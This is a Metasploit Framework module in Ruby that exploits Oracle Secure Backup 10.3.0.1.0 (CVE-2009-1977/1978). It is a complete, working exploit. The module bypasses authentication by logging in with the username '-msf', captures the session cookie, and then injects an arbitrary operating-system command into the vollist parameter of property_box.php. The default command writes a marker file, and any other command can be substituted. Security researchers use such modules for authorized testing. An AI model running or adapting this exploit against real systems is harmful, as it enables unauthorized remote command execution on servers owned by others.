##
# $Id: osb_execqr2.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Oracle Secure Backup Authentication Bypass/Command Injection Vulnerability',
			'Description'    => %q{
					This module exploits an authentication bypass vulnerability
					in login.php in order to execute arbitrary code via a command injection
					vulnerability in property_box.php. This module was tested
					against Oracle Secure Backup version 10.3.0.1.0 (Win32).
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9179 $',
			'References'     =>
				[
					[ 'CVE', '2009-1977' ],
					[ 'OSVDB', '55903' ],
					[ 'CVE', '2009-1978' ],
					[ 'OSVDB', '55904' ],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-058' ],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-059' ],
				],
			'DisclosureDate' => 'Aug 18 2009'))

		register_options(
			[
				Opt::RPORT(443),
				OptString.new('CMD', [ false, "The command to execute.", "cmd.exe /c echo metasploit > %SYSTEMDRIVE%\\metasploit.txt" ]),
				OptBool.new('SSL',   [true, 'Use SSL', true]),
			], self.class)
	end

	def run
		cmd = datastore['CMD']

		res = send_request_cgi(
			{
				'uri'	=>  '/login.php',
				'data'	=>  'button=Login&attempt=1&mode=&tab=75&uname=-msf&passwd=msf',
				'method' => 'POST',
			}, 5)

			if (res.headers['Set-Cookie'] and res.headers['Set-Cookie'].match(/PHPSESSID=(.*);(.*)/i))

				sessionid = res.headers['Set-Cookie'].split(';')[0]

					print_status("Sending command: #{datastore['CMD']}...")

					send_request_cgi(
						{
							'uri'	=> '/property_box.php',
							'data'  => 'type=Sections&vollist=75' + Rex::Text.uri_encode("&" + cmd),
							'cookie' => sessionid,
							'method' => 'POST',
						}, 5)

					print_status("Done.")
			else
				print_error("Invalid PHPSESSION token..")
				return
			end
	end
end
